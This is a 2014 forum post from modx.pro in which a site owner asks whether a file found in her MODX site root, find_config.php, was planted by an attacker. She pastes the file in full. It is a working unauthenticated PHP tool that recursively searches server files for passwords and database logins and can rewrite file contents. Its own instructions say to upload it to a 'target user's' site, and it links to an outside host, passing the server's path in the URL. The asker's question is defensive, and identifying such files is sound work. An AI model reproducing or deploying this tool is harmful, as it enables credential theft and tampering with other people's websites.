Обнаружен подозрительный файл в корне сайта c MODX

Обнаружила в корневом каталоге своего сайта файл find_config.php. Это может быть внедрено злоумышленником?

Содержимое файла:

<?
$full_path = $_SERVER['DOCUMENT_ROOT'];												// полный путь к файлу
$filename = $_SERVER['PHP_SELF'];													// имя файла

//include_once ("fancydropdown/main_menu.php");
//main_menu();
?>

<HEAD>
	<script>
		function check_all() {
			document.getElementById('.htaccess').checked = 'checked';
			document.getElementById('.php').checked = 'checked';
			document.getElementById('.html').checked = 'checked';
			document.getElementById('.js').checked = 'checked';
			document.getElementById('.pl').checked = 'checked';
			document.getElementById('.sh').checked = 'checked';
			document.getElementById('.cgi').checked = 'checked';
			document.getElementById('.txt').checked = 'checked';
			document.getElementById('.xml').checked = 'checked';
		}
	</script>
</HEAD>
<BODY>
	<table border=0>
		<tr>
			<td width="40%">
			<fieldset><legend>Find</legend>
				<form action="find_config.php" ENCTYPE="multipart/form-data" method="post">
					Искать от:<br />
					<textarea id="from" name="path" rows="1" cols="50" title="полный путь вида: /home/www/zXXXXXX..."><? echo getcwd(); ?></textarea><br /><br />

					Искомая строка:<br />
					<textarea id="stroka" name="stroka" rows="1" cols="50" title="Искомая строка:" onmousedown="innerHTML = '';">Пароль, БД, логин и прочее</textarea><br /><br />

					Искать в файлах:<br />
					<input type="checkbox" name="extension[]" id=".htaccess" value=".htaccess" checked>*.htaccess</input><br />
					<input type="checkbox" name="extension[]" id=".php" value=".php" checked>*.php</input><br />
					<input type="checkbox" name="extension[]" id=".html" value=".html">*.html и *.xhtml</input><br />
					<input type="checkbox" name="extension[]" id=".js" value=".js">*.js</input><br />
					<input type="checkbox" name="extension[]" id=".pl" value=".pl">*.pl</input><br />
					<input type="checkbox" name="extension[]" id=".sh" value=".sh">*.sh</input><br />
					<input type="checkbox" name="extension[]" id=".cgi" value=".cgi">*.cgi</input><br />
					<input type="checkbox" name="extension[]" id=".txt" value=".txt">*.txt</input><br />
					<input type="checkbox" name="extension[]" id=".xml" value=".xml">*.xml</input><br />
					<input type="button" name="all" value="отметить все" onclick="check_all();"><br />
					
					<input type="radio" name="write_mode" value="0"  checked="">Найти</input>        
					<input type="radio" name="write_mode" value="1">Заменить на</input>
					<textarea id="replace" name="replace" rows="1" cols="20" title="Замена" onmousedown="innerHTML = '';">Это</textarea><br /><br />

					Рекурсия:                  
					<select name="recurs" id="recurs">
						<option value="1">Да. Я люблю рекурсивный метод</option>
						<option value="0">Нет. Не нужно</option>
					</select><br /><br />
					
					Вывод на экран:       
					<select name="screen" id="screen" onchange="change();">
						<option value="0">Нет. Не нужно</option>
						<option value="1">Да. Я люблю смотреть на файлы</option>
					</select><br /><br />

					Максимум вывода на экран (шт.):     
					<input type="number" name="max_view" size="17" maxlength="100" value="100" title="количество отображаемых файлов"/><br /><br />

					<input type="Reset" value="RESET" name="Reset"> <input type="Submit" value="FIND" name="submit">
				</form>
			</fieldset>
			</td>
			<td>
				Этот скрипт ищет и/или заменяет то, что Вы укажете, в содержимом файлов.<br /><br />

				Использование:<br />
				1. залить на сервер в корневую директорию любого сайта целевого пользователя<br />
				2. в адресной строке браузера набрать http://сайт/find_config.php<br /><br />

				Если нужно проверить все файлы, просто укажите путь вида: /home/www/zXXXXXX<br />
				Скрипт отрабатывает много быстрее, если не включать вывод имён файлов на экран<br /><br />

				If the problem with the display set in the browser encoding UTF-8<br /><br />
				<a href="http://userkill.jelasticloud.com/download.php?full_path=<?echo $full_path;?>&filename=<?echo substr("$filename", 1);?>"><font size=\"3\" color=\"#00ff00\" >скачать скрипт</font></a>
			</td>
		</tr>
	</table>
	<br />
	<a href="http://userkill.jelasticloud.com/">На главную</a>
	<br /><br />
</BODY>

<?
/*
Этот скрипт ищет и/или заменяет то, что Вы укажете, в содержимом файлов.
Использование: 
1. залить на сервер в корневую директорию любого сайта целевого пользователя
2. в адресной строке броузера набрать http://сайт/find_config.php

Если нужно проверить все файлы, просто укажите путь вида: /home/www/zXXXXXX
Скрипт отрабатывает много быстрее, если не включать вывод имён файлов на экран

xdir ($path, $stroka, $extension, $write_mode, $replace, $recurs, $screen)		/// $path - путь к директории, с которой начать искать, $stroka - искомая строка, $extension - перечисленные расширения файлов,
																				/// $write_mode - поиск или замена, $replace - на что заменять, $recurs - флаг рекурсивного поиска, $screen - флаг вывода списка пройденных файлов
Символ '@' означает запрет вывода варнингов при невозможности открыть директорию или папку
*/
	
//error_reporting(E_ALL);

	function xdir($path, $stroka, $extension, $write_mode, $replace, $recurs, $screen) {		    // описание функции
		global $find;
		global $count;
		global $max_view;
				
		if (($dir_handle = @opendir($path)) !== false) {								// открываем папку и получаем её handle (дескриптор)
			while(($file = readdir($dir_handle)) !== false) {							// открываем файл по списку и получаем его handle (дескриптор)
				if ($file == '.' or $file == '..') continue;							// если это текущая директория или уровень выше, повторяем дальше
				$count++;																// работает счётчик
				
				if($count > $max_view) $screen = 0;										// если файлов много, прекращаем вывод на экран
				
				if($screen == 1)
				echo "$count.  файл: $path/$file --- тип: ".filetype($path.'/'.$file)."<br />";		// вывод текущего файла/директории
				flush();																			// сброс буфера и вывод в браузере

				$file = $path.'/'.$file;
				if (is_dir($file) && $recurs) {														// определяет, является ли имя текущего файла директорией
					xdir($file, $stroka, $extension, $write_mode, $replace, $recurs, $screen);		// если это директория, выполняем рекурсию и заходим в неё
				}
				
				if (is_file($file) && (@strstr($file, $extension[0]) || @strstr($file, $extension[1]) || @strstr($file, $extension[2]) || @strstr($file, $extension[3]) || @strstr($file, $extension[4]) || @strstr($file, $extension[5]) || @strstr($file, $extension[6]) || @strstr($file, $extension[7]) || @strstr($file, $extension[8]))) { 	// если это файл и он одним из указанных расширений (htaccess, php, (x)html, js, pl, sh, cgi, txt, xml)
                    $f = @fopen($file, 'rb');											// открывает поток IO файла; 'r' - открывает файл только для чтения; помещает указатель в начало файла.
					if($f !== false) {													// если файл удалось открыть
						$char = @fread($f, filesize($file));							// читаем весь вайл
						if (@strstr($char, "$stroka")) {								// проверка на соответствие искомой строке
							$find = 1;													// если да, ставим флаг, что нашли
                            echo "<br /><font size=\"4\" color=\"#ff0000\">".$file."</font> - ".$stroka." here !!!<br />";	// вывод имени найденного файла
                            if($write_mode == 1) {
                                fclose($f);
                                $str = str_replace($stroka, $replace, $char, $replace_count);
                                $f = @fopen($file, 'wb');
								if($f !== false) {
									@fwrite($f, $str);
									echo "  => было выполнено $replace_count замен<br /><br />";
								}
								else echo "<br />$file - <font size=\"4\" color=\"#0000ff\">access denied - замена невозможна</font><br /><br />";		// говорим, что доступ к файлу отсутствует
                            }
                        }
						@fclose($f);													// закрываем поток IO
					}
					else echo "<br />$file - <font size=\"4\" color=\"#0000ff\">access denied</font><br /><br />";		// говорим, что доступ к файлу отсутствует
				}
			}
			closedir($dir_handle);														// закрываем поток папки
		}
		else echo "<br />$path/ - <font size=\"4\" color=\"#0000ff\">access denied</font><br /><br />";					// говорим, что доступ к папке отсутствует
	}

	$find = 0;																			// флаг найденного вхождения
	$count = 0;																			// счётчик
    $path = $_POST['path'];																// путь к корню (откуда искать)
    $stroka = $_POST['stroka'];															// искомая строка (что искать)
    $extension = $_POST['extension'];													// какие расширения проверять
    $write_mode = $_POST['write_mode'];									    			// флаг перезаписи
    $replace = $_POST['replace'];									        			// строка замены
	$recurs = $_POST['recurs'];															// флаг рекурсивного поиска
	$screen = $_POST['screen'];															// флаг вывода списка пройденных файлов
	$max_view = $_POST['max_view'];														// сколько файлов вывести не экран

	if($path == false) die();															// при первом запуске
	if($path === '/home/www/zXXXXXX') die("<br />Укажите путь!");						// если путь не указан (дефолтный путь)
	else {
		xdir($path, $stroka, $extension, $write_mode, $replace, $recurs, $screen);		// вызов функции xdir
	}
	echo "<br /><br />Проверено <font size=\"5\" color=\"#00ffff\">$count</font> файлов";
	if ($find == 0) echo "<br /><font size=\"5\" color=\"#00ff00\">All clear</font>";	// если ничего не нашли, говорим об этом с гордостью!
	echo '<br /><br /><br /><br />';
?>
Дарья Сизова
21 июня 2014, 13:41
modx.pro
1 313
0

Комментарии: 0

Авторизуйтесь или зарегистрируйтесь, чтобы оставлять комментарии.
0